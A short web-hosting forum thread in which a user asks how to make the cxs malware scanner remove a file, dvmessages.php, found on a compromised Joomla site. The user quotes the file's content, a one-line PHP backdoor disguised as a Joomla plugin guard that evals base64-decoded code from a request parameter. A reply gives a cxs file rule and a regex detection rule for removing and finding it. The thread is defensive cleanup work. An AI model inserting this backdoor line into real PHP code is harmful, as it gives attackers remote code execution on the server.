Add Custom Rule

Community forum to discuss cxs.
If you believe that there is a problem with your cxs installation and want support then, as a paid product, you should use the helpdesk after having consulted the documentation.
Post Reply
skyknight
Junior Member
Posts: 17
Joined: 13 May 2011, 07:35

Add Custom Rule

Post by skyknight »

Hi,

How do i add some custom rule?

I found out some file with name dvmessages.php causing ddos on joomla site and i want cxs clean it every cron is running. Any idea how to do it?

dvmessages.php file contains:

Code: Select all

<?php
defined( '_JEXEC' ) or die(@eval(base64_decode($_REQUEST['c_id'])));
jimport( 'joomla.plugin.plugin' );
Sergio
Junior Member
Posts: 1436
Joined: 12 Dec 2006, 14:56

Re: Add Custom Rule

Post by Sergio »

if you want to delete all files named "dvmessages.php", in your cxs.xtra add the following line:
file:dvmessages.php
and all files with that name will be deleted.

Or, you can search any PHP file that uses that code using:
regphp:\(\$_REQUEST\[\'c_id\'
this line will find any file with that part of the code, you can use it in a regall as well.

Sergio
skyknight
Junior Member
Posts: 17
Joined: 13 May 2011, 07:35

Re: Add Custom Rule

Post by skyknight »

thank you very much :)
Post Reply